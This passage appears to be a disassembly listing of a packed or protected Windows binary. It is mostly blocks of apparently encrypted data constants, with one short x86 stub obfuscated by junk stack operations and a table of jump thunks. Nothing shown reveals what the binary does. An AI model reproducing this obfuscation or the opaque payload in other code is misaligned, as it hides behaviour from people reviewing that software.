		dd 0E992EA54h, 9F20C15Fh, 4CCF0C07h, 7F769DF2h,	3582550Eh
		dd 5871D082h, 0ED6D8EE6h, 0BA8725C2h, 0EA0B6EA9h, 58995F7Eh
		dd 882CC199h, 42A38069h, 0D2AB5765h, 50AF6C07h,	13AD46AEh
		dd 0CB9AD9A1h, 0DF2A03D8h, 0D46B3F65h, 79E23C5Dh, 33C7840Ch
		dd 33C2EF74h, 0BA1ED9BAh, 0F835C6C7h, 94059F38h, 9A433041h
		dd 3041940Eh, 22E1BBB6h, 0E2D47DDDh, 9E363F5Eh,	3B86F7C5h
		dd 1C71C0BFh, 5BC300F7h, 0A94C6E03h, 3F21F6Eh, 0E90CA9F8h
		dd 4D64E930h, 5D07C2FEh, 970h, 0B245B45Fh, 0A9AE436Bh
		dd 0B447AE64h, 0AEA94C6Dh, 0B348B55Fh, 0CAEC7F3Ch, 35E1302Bh
		dd 0C7EE33C8h, 31E62B30h, 56B831C6h, 208F63FDh,	0AE2EDB9Fh
		dd 76126B13h, 0EE9ADF02h, 0DE53E833h, 2D57D59Dh, 4BF9271h
		dd 8C2DC21Ah, 58A38069h, 0A0D300F5h, 0F55EFE9Ch, 9F26EB6Bh
		dd 0EAE320D3h, 127B7A97h, 7A500B76h, 0E338BDF5h, 5EC0D958h
		dd 59CD00F5h, 4571FE99h, 0A15E35B8h, 0F5953396h, 0E9A9ADFh
		dd 59ADFF5h, 4C2D0D28h,	0A5CE0354h, 30CDE7CAh, 0AE4628F3h
		dd 429BBD59h, 9ADF27A6h, 5BA0631Eh, 0DFB83D02h,	0BA5EA39Ch
		dd 4E91523Bh, 7B7A97ECh, 13865112h, 20A00B9Ah, 0A0933A9Fh
		dd 0EB939F20h, 0DF5FF692h, 68B36E60h, 0C0F9FC19h, 0B3B465FFh
		dd 9943F1DCh, 88000008h, 44898E6Dh, 8BD2658Ch, 468B9065h
		dd 88D56295h, 138C8F6Eh, 0E411C358h, 0FEE0A57h,	0E70EC50Ch
		dd 0DE80D54h, 0C62F8F0Ah, 9F208C3Ah, 1307F5A2h,	2DA0577Eh
		dd 0FD1776h, 0F601D68Dh, 8D648C37h, 0AE8FE852h,	149CDF9Dh
		dd 0F0256C5Dh, 4098F205h, 20850D97h, 0FDBAB99Fh, 44364FEAh
		dd 85B943ACh, 6E259F20h, 29BE40A9h, 0E4A96E8Fh,	1156C82Fh
		dd 42C512E3h, 5DE790E8h, 99F2085h, 5380CD0Ah, 7F35BAA4h
		dd 0B638A176h, 852BB51Eh, 0E0939F20h, 0B1A1561Bh, 2085BC48h
		dd 0B669289Fh, 3B6FB3C4h, 1D781393h, 1271EFDAh,	0A2558245h
		dd 0CADC1595h, 27BC8275h, 0BB3AD98Ah, 9CE11D2h,	2C2E2h
		dd 0F213D600h, 0E17A5D0Fh, 9ADFF947h, 89A104FFh, 0D764B75Bh
		dd 8ADF3F5Ah, 451E8F6Eh, 0F6E07CD5h, 0A55C9ADFh, 7F60F852h
		dd 4191A09h
		dd 0A03C95E8h, 1C9ADF4Fh, 0FC5D9A65h, 9CA05DDBh, 3F163A4Bh
		dd 0E1032ECh, 4A34EFC9h, 974010C5h, 9F26740Dh, 8405BAB9h
		dd 0A25582CFh, 3EAF6C27h, 267427BFh, 379FFF9Fh,	2674029Eh
		dd 6AC7BA9Fh, 1669AE51h, 0F2266B41h, 746BF55Eh,	20D39F26h
		dd 0EE29EAE3h, 24A3E459h, 9F5E78B7h, 0EC8C752Eh, 9F7F443Ah
		dd 59C91136h, 0E8768F99h, 0AC634AF0h, 0B76C8929h, 5BA3DDAh
		dd 9D5398F2h, 397E5558h, 0B538BFF4h, 1ABEA74Ch,	6F9FF2DBh
		dd 0C2F03D82h, 26D9BA33h, 0F805AF34h, 8B6A8CF5h, 0F3888358h
		dd 9B431B3Eh, 0BE0844CAh, 47941A9Ch, 0A04A91E6h, 943CD19Ch
		dd 64B76C5Dh, 5CB18988h, 0D803BBAh, 264A28B0h, 41B4619Fh
		dd 19DCF948h, 12A55CB0h, 431873E1h, 7B97044Dh, 679582h
		dd 0E00B0000h, 66FFB661h, 8B4841B4h, 0F38DE658h, 6B9ADF02h
		dd 6A136BB8h, 9CA01029h, 4CB11CD7h, 9F26108Ch, 9C5310C5h
		dd 447F5455h, 1CDBF849h, 9F1CE7B1h, 6576066Eh, 551E3F12h
		dd 310EC9D2h, 953BD0A6h, 5AA39B60h, 3A827BB3h, 0CAA44629h
		dd 0BB00D220h, 12914h, 36DD3200h, 2515CEBFh, 266930CCh
		dd 22F5AC9Fh, 567E13BEh, 18752E9Fh, 72BFFCFBh, 0B737B245h
		dd 83937DA6h, 7B8096B0h, 0EFB78548h, 0CC916699h, 5CE2CB2Ah
		dd 93C15BF4h, 867D9ADFh, 30C7EC31h, 0EE2041BDh,	76AE447Eh
		dd 0DBF84592h, 17BF1F1Ch, 0DF1A22BEh, 0CBC6A39Ah, 47BBE74Ah
		dd 599E55h, 9ADF47ABh, 69EE09AEh, 9F567C11h, 5772CF5Ch
		dd 5AE68FE7h, 29ADF5Fh,	0A72CC0Fh, 5F7F0972h, 2CE79ADFh
		dd 2EC18EEFh, 0C4BF9CA3h, 486D025Ah, 0AFD56F08h, 92919F24h
		dd 11C38A4Dh, 8F54A352h, 39DD328Ch, 3B12D1BCh, 0D4995E93h
		dd 0D74D2E22h, 5B554B82h, 0BFF692EBh, 0D2039F24h, 0FE9AA23h
		dd 0D70ECF14h, 0B8A7B905h, 5AA6F35h, 7E990000h,	7D357C7Fh
		dd 789EE378h, 82337A7Dh, 7F99E873h, 4502797Eh, 66F104B6h
		dd 0F9FEFB17h, 61F6FDB4h, 0FB00F71Ch, 29B31C82h, 959F2093h
		dd 0F213F8E4h, 0CF5823AAh, 0C58C4FCAh, 0F378E213h, 47BA33C2h
		dd 865D50ADh, 21797E39h, 5475BE40h, 6D1EF4Dh, 35B9A37h
		dd 70AB4A6Eh, 7E1309EBh, 0EE30B58h, 0C0FBD8D1h,	0F51F4471h
		dd 0F3CE8508h, 0CF75318Dh, 1B8E5118h, 84F601B6h, 9CF97473h
		dd 0E33B8D03h, 0DFEEEE7Ah, 609B569Ah, 0C6283DBh, 427A1622h
		dd 127F61B6h, 9AD8824Ah, 0DF82ED6Bh, 126B139Ah,	9ADF8276h
		dd 24A54C83h, 41968D6Fh, 26CC77B6h, 0BA05DECFh,	3F73F860h
		dd 823DC7B2h, 0EAA99ADFh, 43A44D2Dh, 19CDF1Dh, 1ED31802h
		dd 0BAFDD6D7h, 0E4053CCFh, 0EF79E27Ah, 579F2005h, 56FF5F9Ch
		dd 995F3A99h, 5A914C47h, 3FADAEA3h, 4B6E68Eh, 72A50000h
		dd 89297883h, 74A2EF6Ch, 8E277681h, 73A5EC6Fh, 39F67582h
		dd 6AED10AAh, 0F502EF23h, 6DEA09A8h, 0F704F320h, 25BF1876h
		dd 0A19F2090h, 7E13ECE8h, 762DA057h, 2E37DCA1h,	0A380698Ch
		dd 0EF246D60h, 0FA1E38EAh, 779DB4EFh, 8B580B7Eh, 72A1E658h
		dd 8E490A83h, 83FFE89h,	3DD20450h, 0C019012Fh, 9ADFD024h
		dd 3C1EE1A0h, 2E3BC394h, 83AB7FC7h, 8560EEBEh, 0FCC8D62h
		dd 0A0DF592Eh, 5B7A079Ch, 24CD319Ch, 9F26DF98h,	0A8924D44h
		dd 26DFB54Fh, 0AD72319Fh, 0DF1BC13Ch, 83309F26h, 0D1DA2F56h
		dd 0D70CE742h, 0AD446BD6h, 5ADD8C3Ch, 0FBC04B29h, 0C433E025h
		dd 4DCD0AC9h, 827B9D04h, 6695h,	7E130B00h, 0CD5A9D58h
		dd 0FDBD3770h, 8BDBA565h, 0E3E611C6h, 0F28BF330h, 9CA092A1h
		dd 44E079E1h, 9F2692h, 1D2B601h, 67C7023Bh, 9316C9EDh
		dd 8E1AC31Bh, 369F268Ah, 3F9D803Bh, 3B9F268Ah, 24350BD0h
		dd 3F01BAFFh, 7B9CF1E5h, 8552117Ch, 7B654C85h, 39D72C82h
		dd 25D0FFBCh, 6E000001h, 8CFD0019h, 26A004D7h, 0BC1406F1h
		dd 0DF028913h, 793E359Ah, 0BC59AE10h, 85EE5039h, 9ADF02FBh
		dd 0A873B063h, 0CBBE3FD9h, 0F6AD9273h, 0BFAA7153h, 758035FCh
		dd 0DE80D74h, 8DB4C52Dh, 11AF7320h, 0B67C0871h,	29E89ADFh
		dd 4548AF64h, 6BCE498Eh, 9ADFAA1Eh, 0A2AC3546h,	8F238F54h
		dd 25D0054Ch, 0F504B035h, 5FDC1FF4h, 9712E512h,	0D225D217h
		dd 1A3BF205h, 0EED29740h, 7D129CA0h, 772C9D58h,	0CE4948A4h
		dd 0FFFE176Ch, 0C65D58Eh, 9F26D670h, 55E235ECh,	0F55DBDD8h
		dd 0A86E5AE4h, 0B704AE2Ch, 5A41E356h, 78E2A199h, 2734C1F3h
		dd 0FCBD40DAh, 0ADB206E5h, 0D9690BBEh, 0C8000002h, 449CE2Dh
		dd 0CB1225CCh, 64BD025h, 0C81522D5h, 0D34CCF2Eh, 0A4518318h
		dd 4FAE4A97h, 0A74E85CCh, 4DA84D94h, 86EF4FCAh,	9F2096FAh
		dd 1347B562h, 896113F2h, 7C378A6Bh, 28F5C282h, 92EC6F8Eh
		dd 0B11CD9FDh, 0BB5825F2h, 62F53C1Eh, 3C6041B4h, 53A25288h
		dd 7946795Ah, 0BC3B1C7Eh, 8F7454B1h, 826B8A2Ah,	37995EA1h
		dd 0D64861E0h, 0D0046791h, 38EBA821h, 4119DEB5h, 569D5499h
		dd 0FA22066Bh, 4A8DED91h, 0A045A2EFh, 0E101E29Ch, 657A3152h
		dd 4C95F7C4h, 0CC0449A8h, 34EFA425h, 0C89434B9h, 35949F26h
		dd 1863ACA2h, 9B43827Bh, 26D4A642h, 38451E9Fh, 8395F895h
		dd 1C7B6699h, 4220F424h, 3634DB20h, 52000001h, 0EDE015BDh
		dd 26FFE136h, 3E8306F1h, 0E70599Ch, 2F9A5B79h, 0F5C6A774h
		dd 0ED9ADF1Eh, 407B7A98h, 2631C4F1h, 39C32CC4h,	0A59ADF06h
		dd 0AF6429EEh, 49AC4EA3h, 0DF0654F0h, 0D5F3109Ah, 2E613D51h
		dd 0DECF14CFh, 0AD63102Dh, 888E5D48h, 573FE7A2h, 0B14AB28Ch
		dd 9ADFE517h, 4548AF64h, 0A4772A8Eh, 0C84831CAh, 0DDF69CA0h
		dd 2A21B211h, 6FCF14B6h, 402BD28Eh, 1BE05170h, 8F29BE20h
		dd 6F31F6Eh, 0BD083h, 9D362841h, 995A9D8Bh, 9A439B33h
		dd 9ADD1D0Eh, 0C662BBB6h, 7E9ADD1Dh, 76DE4083h,	0E338C5F1h
		dd 0A1797C9Eh, 0B0C50EC0h, 1CF7F201h, 260908C9h, 6FF456D1h
		dd 5E35B845h, 2E22D499h, 0DD663BC5h, 33F0A39Ah,	0B25F4DEAh
		dd 0F5BF2AADh, 13Ch, 0EE69882Bh, 75826F9Fh, 0F06B8A28h
		dd 728578A1h, 0EF6C892Bh, 0F620B370h, 9ADF407h,	0F3226FECh
		dd 0DAAF704h, 92EC6DEAh, 20975FE9h, 0A212079Fh,	75CF426h
		dd 0C89B0EEBh, 0DF02CB55h, 4380739Ah, 0A94C69B8h, 3F5FB0D1h
		dd 0B86E66D1h, 0EE86E863h, 0DF0FFB85h, 0F08CE59Ah, 6C9ADF0Fh
		dd 8B5043B5h, 6F12629h,	2AD32B83h, 9ADF029Eh, 0C1904B46h
		dd 0C156E114h, 88F1496Ch, 9CDF9DABh, 56A1569Bh,	613B8053h
		dd 9A13E210h, 7F6A8727h, 0BAA45FA4h, 0B79D7BA9h, 67C68788h
		dd 826BB04Dh, 5781E20Fh, 9914E314h, 0CF8405BAh,	0DC592A14h
		dd 538A340Dh, 77C64196h, 0CB329B5Ah, 0FCADECAAh, 6F320564h
		dd 0B35B9542h, 0F0C54EC7h, 265BE58Eh, 1003BEAAh, 0F5266BD3h
		dd 0EB32B502h, 40BE2FC6h, 0FEEF06ABh, 6A8BD225h, 0AC1DE0F9h
		dd 31522CF7h, 1C39B3C9h, 0D4C51269h, 784E0968h,	0E734C1F3h
		dd 0A07A7D9Ah, 5059F38h, 0A4C1BEAAh, 47129B10h,	0CF0CD77Ch
		dd 7D0054Ch, 0EAD0D950h, 0FFCB36CAh, 6E19332Fh,	43F1DC27h
		dd 14h,	0F302B63Bh, 8F6E87FAh, 0D81D8754h, 45B861A6h, 684C8F44h
		dd 8904F326h, 715C9B38h, 8702F120h, 6E5F9E3Ah, 8904F123h
		dd 6E5F9E38h, 8A03F223h, 715C9937h, 8801F020h
		db 0F6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]


loc_5D4D5B:				; DATA XREF: .XComp0:off_448E58o
					; .XComp0:off_448E6Co
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	43F5h
		mov	[esp], ecx
		push	ecx
		mov	ecx, 5FF87EBh
		push	ecx
		sub	dword ptr [esp], 3F62EC3h
		pop	ebx
		add	ebx, 3F62EC3h
		pop	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		mov	eax, ebx
		push	ebx
		mov	ebx, 8
		add	ebx, ecx
		mov	[ebx], eax
		pop	ebx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		db 0E7h, 0B8h, 5Ch
		dd 305FF97h, 74E0FFC5h,	0DD6D9791h, 8303A6C8h, 0E732A133h
		dd 544C5B05h, 837AA9DAh, 0CC612D36h, 6C476A2Eh,	9761A71h
		dd 0F96050F4h, 0B1719F4Dh, 4D01F335h, 0C7534FE1h, 3A5D17C7h
		dd 949FB14h, 8F7B1EAEh,	4C59DA3Bh, 0E1D24CAh, 0F13DA593h
		dd 0DD14AA52h, 0FE3A89B1h, 53455F4Eh, 0A8746120h, 7E2C9AFAh
		dd 0A27E3E4Fh, 0E847C551h, 8, 0F4982FF8h, 4C07830h, 5FF3BF0Fh
		dd 81C68B66h, 60E6C7h, 685CB000h, 1805h, 2850Fh, 0E58A0000h
		dd 0FFC38B5Bh, 0C9816637h, 0B55A5420h, 0A5F2812Fh, 60104371h
		dd 68B6D181h, 51B9157Fh, 616E5FF4h, 6961EA81h, 13E82153h
		dd 0EA000000h, 0E913FCA6h, 0F03C6F4Dh, 0D425C6Dh, 3FEB2641h
		dd 0E960F75Fh, 0Bh, 6AB16C34h, 4E294C00h, 661E0E83h, 5861C38Bh
		dd 7EC2EA81h, 17896F63h, 7CE3BE66h, 0FC8BEF81h,	0F6817A12h
		dd 48357726h, 0FC87C781h, 0F4B7A12h, 1785h, 2EB96600h
		dd 30E9D3h, 372E0000h, 7DB6035Dh, 9A4179F8h, 0CBAA622Eh
		dd 48D0Fh, 0B8660000h, 64E9DC27h, 18FFFFFFh, 907F678Bh
		dd 6B750430h, 11FE1D6h,	0C8B9595Fh, 0E2E94D80h,	0A9000000h
		dd 0D75B1797h, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh, 0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h, 0E0E3129Dh
		dd 5E99h, 0Ah dup(0)
		dd 1D07E900h, 0E3680000h, 0E905FF9Ch, 0FFF9E4F6h, 0FF9E1E68h
		dd 0E4ECE905h, 8168FFF9h, 0E905FF9Fh, 0FFF9E4E2h, 0FFA17568h
		dd 0E4D8E905h, 1E68FFF9h, 0E905FFA2h, 0FFF9E4CEh, 0FFA2D168h
		dd 0E4C4E905h, 0BC68FFF9h, 0E905FFA3h, 0FFF9E4BAh, 0FFA4D268h
		dd 0E4B0E905h, 0D768FFF9h, 0E905FFA5h, 0FFF9E4A6h, 0FFA7C868h
		dd 0E49CE905h, 868FFF9h, 0E905FFA9h, 0FFF9E492h, 0FFAAEA68h
		dd 0E488E905h, 0D68FFF9h, 0E905FFACh, 0FFF9E47Eh, 0FFADD368h
		dd 0E474E905h, 0BA68FFF9h, 0E905FFAFh, 0FFF9E46Ah, 0FFB24068h
		dd 0E460E905h, 0BE68FFF9h, 0E905FFB3h, 0FFF9E456h, 0E517FAD5h
		dd 0B31DE02h, 0DF05FEECh, 0A32D3F8h, 0D408FFEBh, 2894C33Eh
		dd 349A3DDFh, 1BC225D7h, 2E8F36EEh, 0E2973DDFh,	96EB4831h
		dd 6020C523h, 6D8D638Ch, 1D0A86F5h, 0ED2A5300h,	0FAA72995h
		dd 0CD3FFA2Fh, 4E40B733h, 2DB6581Ah, 0B168A54Ah, 0EAB2CB88h
		dd 0C3282995h, 4D9F5C42h, 9FB1CDC2h, 2B05290Eh,	0C871A93Fh
		dd 17808F2Fh, 896055B4h, 0B78BC865h, 0E52F8F00h, 0A114F1DAh
		dd 4F8EE4C8h, 1D05F78Bh, 910401F9h, 9D167302h, 42CDF123h
		dd 8B846C4Bh, 97C3B20Ah, 88D631C7h, 17F2D9E6h, 0DE33C396h
		dd 48D63602h, 609E5D2h,	0E834DA8Fh, 57h, 0E821CC33h, 69FFF046h
		dd 0E34B0831h, 0FE2F8F97h, 72078C01h, 0F0239D72h, 0B4B33ACBh
		dd 0CC8C010Ah, 2FC995C1h, 4177020Ah, 2493866h, 5C10DECh
		dd 48D6716Bh, 0F11AC43Bh, 0DFC210FCh, 1AEED21Fh, 8CE33FCFh
		dd 3E000001h, 0CF255803h, 0E5A2239Ch, 0C035D2FAh, 0CEEF45E9h
		dd 777E8931h, 805D8CA2h, 0BB1F088Dh, 17A0494Ch,	0C6B764B3h
		dd 43299685h, 4F0A8B46h, 618F30BFh, 863E4E05h, 36E51CEDh
		dd 2995ED43h, 870EC3C0h, 349C3FA0h, 40FDADBh, 2995ED79h
		dd 9C009F6h, 605E7D0h, 0FA34DA8Fh, 4637E41Dh, 0C32995EDh
		dd 0ED3445D6h, 0F4B12995h, 2936193Dh, 0D32995F2h, 180123EAh
		dd 0E84732E1h, 0D7C42995h, 617B837h, 95E82455h,	2DE4A129h
		dd 29E00BF4h, 924ED8A4h, 2CCB20EBh, 0D19851E5h,	111106FBh
		dd 0D678A390h, 27941C8Ah, 0C702D7DEh, 0C649A512h, 7EB21ACFh
		dd 1140074Bh, 649D9ABCh, 77976E5Bh, 8F298ED4h, 3627412Fh
		dd 0B44F61B0h, 6641ABFCh, 468BD5AFh, 8069568Bh,	85F38695h
		dd 0B370239Dh, 8CA2777Eh, 0C820B6A2h, 3EEBE223h, 68F34EF3h
		dd 239D8515h, 0C52A9592h, 0CA89A648h, 2999782Fh, 9EE5D2ACh
		dd 0D44F8A60h, 0FE1DE41Dh, 1DA2107Bh, 4EEB0BF8h, 43FE09B1h
		dd 54FA13BCh, 48CFFBDAh, 0A210720Bh, 0F732EF1Dh, 0F3B3291Ch
		dd 536253BEh, 1977h, 19CB46A9h,	47FD12AEh, 13C93AA0h, 46FE07B4h
		dd 18CC3B9Fh, 0F4D887FAh, 0E806F113h, 0F7D60123h, 0E20BEA12h
		dd 2ECBF92Bh, 96E98CEDh, 0A4640923h, 72A7608Ch,	525D839Ah
		dd 0AB4B650Fh, 84896691h, 4E7F775Dh, 0B2F15C78h, 9F75929Ch
		dd 0DCFC2CD3h, 0E77A520Eh, 2C6A26F2h, 0FF78BE50h, 2CDBFF69h
		dd 56053CE5h, 29968523h, 0E653E3A0h, 8F97F535h,	0EE13102Fh
		dd 0C22EDD1h, 724930D3h, 0F28239Dh, 0ADFEE2EAh,	0C067F427h
		dd 9D584A33h, 34DAC723h, 33AD99C5h, 0F448D670h,	10Bh, 0FA0BB047h
		dd 0A2CDFFDh, 8831CE34h, 0B51AD97Dh, 85D2AB68h,	204F2996h
		dd 954449BAh, 1720955Ch, 12AD54B3h, 16CF5FACh, 8B846C53h
		dd 8A7BE86Bh, 0C8252996h, 0BE63AA13h, 9680DC9Dh, 65AC5929h
		dd 7E9543BCh, 96809CDDh, 0A56C1929h, 5BD57930h,	33BA537Ch
		dd 30E931A7h, 1DCFEE09h, 4B9081Ah, 50458CC2h, 8CD27599h
		dd 3F2F8EBAh, 38AE9A42h, 681861F2h, 0E895239Ch,	915BF821h
		dd 6B299858h, 4C6E6954h, 0AE6336B7h, 8EB37088h,	86BE4971h
		dd 2F8C7B5Fh, 0BEF1C8E6h, 3CB2B3BCh, 6E000018h,	5F86BE53h
		dd 896C907Fh, 5580A45Fh, 8C6B9174h, 9F75A760h, 72953562h
		dd 4AC12BCAh, 81883392h, 0BA537C5Bh, 7C976082h,	2396E801h
		dd 0CE27C97Eh, 0D87E8931h, 0BB24B119h, 6A629752h, 4459BCDCh
		dd 46D50CD0h, 2995A033h, 0D963F3B0h, 0E524C730h, 23E207F0h
		dd 44A948EEh, 76B23BACh, 0DD1475FEh, 97D7B024h,	5FD403D2h
		dd 8CCB65CFh, 0B5567863h, 47B0797Ch, 95E873A2h,	12299685h
		dd 0D9DC15h, 2FDEFFEEh,	2A932C0Dh, 36A453E3h, 0AC014CDh
		dd 907D6264h, 6F56373Ch, 0BC2106DFh, 2B1AB51h, 88B1E97Fh
		dd 0DB343384h, 95F43D40h, 0E7CDBA29h, 0AB01993Bh, 0B9580D5Fh
		dd 0B48195D1h, 8F9A6BA7h, 24C1BE2Fh, 26E30AF5h,	0F154FAAFh
		dd 1B279A85h, 1C5DFE43h, 0A72C1338h, 0F6640C3Bh, 0A15E4055h
		dd 1B47D18Dh, 508135E6h, 4DBF320Ch, 3DF7157Ch, 96F5D7F8h
		dd 0AAFF65C3h, 3DD1539h, 0D1FC8CD6h, 4B88D438h,	0E79203CEh
		dd 0F02BECD0h, 261A6C8Dh, 42D41D0Ah, 9538B026h,	0BD84BD74h
		dd 1A6CDB9Eh, 8BAB5826h, 32186DAEh, 807D2C17h, 0B217A059h
		dd 67876253h, 46746788h, 0A6D784BDh, 23201DA7h,	9079AB66h
		dd 0A2D4E73Ch, 0F1B1C3F4h, 6C2BBA84h, 3DAC4287h, 8B8E6DA0h
		dd 9BC7FCCh, 16D9FDE8h,	0E40B0000h, 0F0D0F72Dh,	0F0DAFD1Fh
		dd 0E506F113h, 0F1D9FC20h, 0DD54EE16h, 13C93E9Eh, 0DB010AB4h
		dd 438D1FCh, 0EB11FCE1h, 5A233009h, 0D72396E6h,	638CCE72h
		dd 21B723AAh, 0EBE221C7h, 0EE19C13Eh, 42F732E7h, 8F9A3911h
		dd 0B567142Fh, 12C71385h, 417337BAh, 48876D98h,	95A2B4A9h
		dd 967EDC86h, 5F9A8729h, 0ECF6326Dh, 0D4850801h, 2C16F200h
		dd 6F75E2C8h, 0E37303D9h, 0C3FC790Ah, 567A1DA3h, 26A76687h
		dd 7237BE73h, 0A3C398E1h, 6F68151Dh, 5038BD4Ch,	0EB752935h
		dd 847F6956h, 7F479372h, 46DD9FEDh, 0AAD380B9h,	271DA3B7h
		dd 0A85B7D7Ah, 8A9A86h,	6F650000h, 78BC6C73h, 98C7111Eh
		dd 0F7C7BF24h, 0FF161C32h, 67124169h, 0E4299685h, 0C47F237h
		dd 2F8FD455h, 1E5FFC45h, 9B239D36h, 361C5DFEh, 0EC99239Dh
		dd 0AE91125h, 11BC23E0h, 0ED24F5F8h, 2B4E0D34h,	0A8239D36h
		dd 0E1DE5BFBh, 89F41FFAh, 6239D36h, 252CD019h, 239D3652h
		dd 59FA23CCh, 239D3620h, 0F70CAE9Dh, 23EE23F6h,	30DB01FEh
		dd 0F04AECBDh, 0FE23E605h, 0ABCF1216h, 0B046AF8Eh, 65857237h
		dd 9C5B8CA2h, 0A5000015h, 124169FFh, 29968567h,	47F237E4h
		dd 961F420Ch, 0A574582Fh, 496C54AFh, 0E7945CF2h, 0E326C532h
		dd 1AC037F2h, 11E845E9h, 31C54AA6h, 1CBE1DC2h, 0FE33E6E7h
		dd 0F811BC43h, 562734F5h, 0D3239759h, 41FB1BD6h, 2DD43996h
		dd 0ECE12E92h, 29D0193Dh, 0D6D72C8Eh, 0DA339C03h, 74F006D3h
		dd 0D281B8E2h, 2996F2CDh, 0C8C8E4FEh, 0B666CA51h, 9439C67Bh
		dd 0BB24C379h, 9A4FC020h, 799A5Fh, 7D1D9867h, 0E5756E80h
		dd 34D7F573h, 0F821E8C1h, 0F419B641h, 666B0E4Dh, 3BE81D98h
		dd 8F66381Bh, 0B2A12391h, 0D1ADFF0Ch, 0B0EDA11h, 0D14EAD64h
		dd 0C3A4F0ADh, 14E5C3B2h, 0B8170000h, 9C44A359h, 0C426D173h
		dd 913A9D3Fh, 0C525D074h, 9889A42h, 0BF65A24Ah,	0AF55B618h
		dd 0C064A548h, 0AF55B815h, 96E77445h, 132396E4h, 91E89A5Eh
		dd 82299685h, 0EE13CE14h, 0FA1CE7D1h, 961E5457h, 796B752Fh
		dd 0CD38A192h, 0CBBB11C8h, 0F128E1FAh, 0CAF2E906h, 28E1B83Dh
		dd 720B48F1h, 0EF2396EBh, 0F5121C32h, 0EB6E0F4Ch, 3EEB2396h
		dd 0AEFD8FD6h, 0CC62AD68h, 944DC01Dh, 829BD2Bh,	250693E3h
		dd 0EA0313DEh, 85BCE670h, 40B5527Ah, 80759437h
		dd 61CE60A9h, 902A98B2h, 65B67329h, 0BEFF43BEh,	3CCAABC4h
		dd 6E000014h, 5F86BE53h, 896C907Fh, 5580A45Fh, 8C6B9174h
		dd 9F75A760h, 72953562h, 4AC12BCAh, 81883392h, 0BA537C5Bh
		dd 7C976082h, 2396E401h, 8C27C97Eh, 4423AA63h, 6B9C409Bh
		dd 737AAF6Ah, 37BE4774h, 787D8E30h, 0B5697590h,	3046CE73h
		dd 0BC012DF8h, 8AD827C7h, 16EDDBE4h, 80510B00h,	3F164D2Fh
		dd 0F000000Ch, 0D9FF69FFh, 0BC31D2F8h, 0DBB124EDh, 0FCECE963h
		dd 52975276h, 304C6CA7h, 56532F95h, 62AB14ABh, 7B625DBAh
		dd 6489688Eh, 40B55477h, 0A62DA069h, 2395FDCFh,	0F4DA56C0h
		dd 0EC27D217h, 298F1262h, 0C273403Dh, 0D8BEFE5Bh, 1389CED7h
		dd 14BB0000h, 40A047FDh, 20CA2DCFh, 359641E3h, 21C92CD0h
		dd 0ADE43EE6h, 339CEEEh, 0EB11FAE4h, 0F428E10Ch, 0FB21ECD1h
		dd 8AF320D9h, 72396E3h,	46CE9E62h, 0B18274D3h, 46A54953h
		dd 0C87164A9h, 0D87E8D2Fh, 4E69B419h, 0FF7A996Eh, 7C299633h
		dd 64434A7Fh, 1522937Ch, 0BE5C51B4h, 8D5B034Fh,	90837064h
		dd 8D1E29Eh, 0FBCB17E6h, 4D2F8A61h, 0CC26CA35h,	82083169h
		dd 91A56C98h, 0B7195h, 6A4F6800h, 0E8C57B9Bh, 29968591h
		dd 0AE537B51h, 0F38DBBBCh, 49910763h, 46C52790h, 20D883B0h
		dd 0A72F9528h, 17B83FFAh, 2F31CC4h, 0FD0EB027h,	34E821F8h
		dd 0CCC42C91h, 7F2D958Dh, 0E3777EB3h, 5B1E3D75h, 0D823959Eh
		dd 0C035D0F9h, 30E920E9h, 8EB32B23h, 1AB64129h,	0BA9961F5h
		dd 2900F512h, 3AFC13E0h, 52EBEFEh, 129E20h, 20F1D000h
		dd 1AF5D9FCh, 2ED503E2h, 1BEACFF6h, 29DEFEE9h, 0B3E021F3h
		dd 0F9DC0007h, 0E10438D3h, 0AED0FFAh, 0CEF428E5h, 0E28FEA29h
		dd 570C2396h, 4A46CE99h, 5F8E1312h, 0A362ED39h,	41BF2251h
		dd 5F085E7Bh, 0BC52977Eh, 787D902Dh, 63A846B1h,	52BB24D3h
		dd 5FB010A7h, 529BBB6Eh, 0B828565h, 9ECCAD6Eh, 5C492995h
		dd 705C7563h, 8E431697h, 0ACBA8D07h, 8BD72EF2h,	19F2DCE3h
		dd 0DC31C594h, 4D2FBE00h, 8BEE2DD4h, 8299596h, 732FFB1Bh
		dd 0F900000Ah, 8C1469FFh, 17BA35C5h, 65F62BE6h,	2F9561A4h
		dd 0F41BC33Ch, 0A429E00Bh, 0EC9961F5h, 0E926CA35h, 142135E4h
		dd 19CB42ABh, 6F0A49F0h, 0E523962Eh, 0E19E0003h, 0CC419E4Dh
		dd 0C643AA15h, 0EBF41ACFh, 1568F34Eh, 0A023962Eh, 0D40AA3BFh
		dd 0DBC83EB0h, 9061183Bh, 0AB212395h, 0DFD0F8E7h, 0E19CB737h
		dd 5E2395F7h, 9AC668A1h, 0F02BD60Ch, 298F0C5Eh,	59B61A39h
		dd 6F4C8554h, 0BEFE655Ah, 88AEB7B8h, 0BA000011h, 0A342FA17h
		dd 0C530D43Bh, 993CE023h, 0C82FD530h, 0E341E324h, 3EC9F1AEh
